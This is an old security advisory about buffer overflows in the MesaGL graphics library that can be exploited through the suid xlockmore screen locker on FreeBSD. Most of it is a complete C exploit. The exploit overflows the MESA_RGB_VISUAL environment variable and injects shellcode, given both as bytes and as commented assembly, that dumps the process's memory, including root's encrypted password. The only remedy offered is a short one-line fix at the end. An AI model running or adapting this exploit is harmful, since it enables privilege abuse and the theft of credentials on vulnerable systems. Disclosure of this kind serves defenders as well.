COMMAND

    MesaGL (xlockmore)

SYSTEMS AFFECTED

    Most systems

PROBLEM

    Bjorn Smedman found following.   MesaGL is a free OpenGL  graphics
    library replacement for unix/X11, windows, beos, apple and others.
    There are many buffer  overflows in this library,  but fortunately
    (and  naturally)  it's  rarely  used  in  suid/sgid programs.  The
    exception  is  xlookmore  or  if  it  is to use supported hardware
    accelerators (for 3d).

    Below is a FreeBSD program that will dump xlocks entire address
    space, including roots encrypted password, to stdout.  For it to
    work, xlockmore must be built with MesaGL support.

    /*
     * Standard buffer overflow exploit. Executes the machine code in "shell"
     * when given almost any FreeBSD executable using MesaGL's GLX as its
     * argument.
     *
     * Tested with MesaGL 2.6, FreeBSD 2.2.5 and alot of GLX programs.
     *
     * Example: ./a.out /usr/local/bin/xlock
     *
     * THIS PROGRAM IS PROVIDED FOR INFORMATIONAL PURPOSES ONLY.
     * ALSO, I DO NOT GARANTEE THIS PROGRAM TO WORK, OR NOT TO FRY
     * YOUR COMPUTER.
     *
     * By bs <bs@oden.se>, 1998
     */

    #include <stdlib.h>
    #include <string.h>

    #include <unistd.h>

    #include <err.h>

    /* The number of bytes after which we hit the return address */
    #define OLEN    (104)

    /*
     * Gas asm for "shell". Doesn't execve (would be useless), but dumps the
     * entire address space of the process to stdout, page by page.
     * Write will not send us a SIGSEGV but set errno to "Bad address",
     * which we don't care about. We could probably be more picky about what
     * range to dump, but that would make it less generic, and my P166 does
     * this on xlockmore in 45 seconds.
     *
     * BUGS:
     * Makes stack grow
     * Self modifying
     * ";" is not a gas comment, but what is?
     * My asm experience equals zero
     *
     * By bs <bs@oden.se>, 1998

    .data                                           ; self modifying code :-(
    .align 1
    .globl _main

    _main:
            jmp     instr
    prepare:
            popl    %ebx                            ; syscall's address
            xorl    %eax,%eax
            movb    %al,0x1(%ebx)                   ; change strcpy friendly
            movb    %al,0x2(%ebx)                   ; 0xf to correct 0x0
            movb    %al,0x3(%ebx)
            movb    %al,0x4(%ebx)
            movb    %al,0x6(%ebx)

            xorl    %ecx,%ecx                       ; our data pointer

            xorl    %edx,%edx
            movw    $0x0fff,%edx
            incl    %edx                            ; step size 4096 (pagesize)

            jmp     again                           ; go to work
    instr:
            call    prepare
    syscall:
            .byte   0x9a,0xf,0xf,0xf,0xf,0x7,0xf
            ret
    again:
            xorl    %eax,%eax
            incl    %eax

            pushl   %edx                            ; len (pagesize)
            pushl   %ecx                            ; pointer
            pushl   %eax                            ; 1 (stdout)

            addb    $0x3,%eax                       ; 1+3 (0x4 = write)

            call    syscall
            addb    $0xc,%esp

            addl    %edx,%ecx
            jz      exit                            ; ecx wraped -> exit
            jmp     again

    exit:
            xorl    %eax,%eax
            pushl   %eax                            ; 0 (exit status)
            incl    %eax                            ; 1 (0x1 = exit)
            call    syscall

            .byte   0x0                             ; strcpy&co stops here
    *
    *
    */

    unsigned char shell[] = {
      0xeb, 0x1d, 0x5b, 0x31, 0xc0, 0x88, 0x43, 0x1, 0x88, 0x43, 0x2, 0x88,
      0x43, 0x3, 0x88, 0x43, 0x4, 0x88, 0x43, 0x6, 0x31, 0xc9, 0x31, 0xd2, 0x66,
      0xba, 0xff, 0xf, 0x42, 0xeb, 0xd, 0xe8, 0xde, 0xff, 0xff, 0xff, 0x9a, 0xf,
      0xf, 0xf, 0xf, 0x7, 0xf, 0xc3, 0x31, 0xc0, 0x40, 0x52, 0x51, 0x50, 0x83,
      0xc0, 0x3, 0xe8, 0xea, 0xff, 0xff, 0xff, 0x83, 0xc4, 0xc, 0x1, 0xd1, 0x74,
      0x2, 0xeb, 0xe9, 0x31, 0xc0, 0x50, 0x40, 0xe8, 0xd8, 0xff, 0xff, 0xff, 0x0
    };

    /* Stolen from somebody. Is this better than a constant? Why? */
    char *get_esp(void) {
            asm("movl %esp,%eax");
    }

    int main(int argc, char **argv) {
            char *nargv[10];
            char mesa_rgb_visual[512];
            char nopandshell[8096];

            nargv[0] = (argc > 1 ? argv[1] : "./a.out");
            nargv[1] = NULL;

            memset(mesa_rgb_visual, 'a', sizeof(mesa_rgb_visual));
            *((void **)&mesa_rgb_visual[OLEN]) = (void *)(get_esp() + 4096);
            strcpy(&mesa_rgb_visual[OLEN+4], " 16");
            setenv("MESA_RGB_VISUAL", mesa_rgb_visual, 1);

            memset(nopandshell, 0x90, sizeof(nopandshell));
            memcpy(nopandshell+sizeof(nopandshell)-sizeof(shell),
                            shell,
                            sizeof(shell));
            setenv("SHELLCODE", nopandshell, 1);

            execv(nargv[0], nargv);
            err(1, "execve");
    }

SOLUTION

    Remove suid persmissions from xlockmore which will break something
    but the risk is high.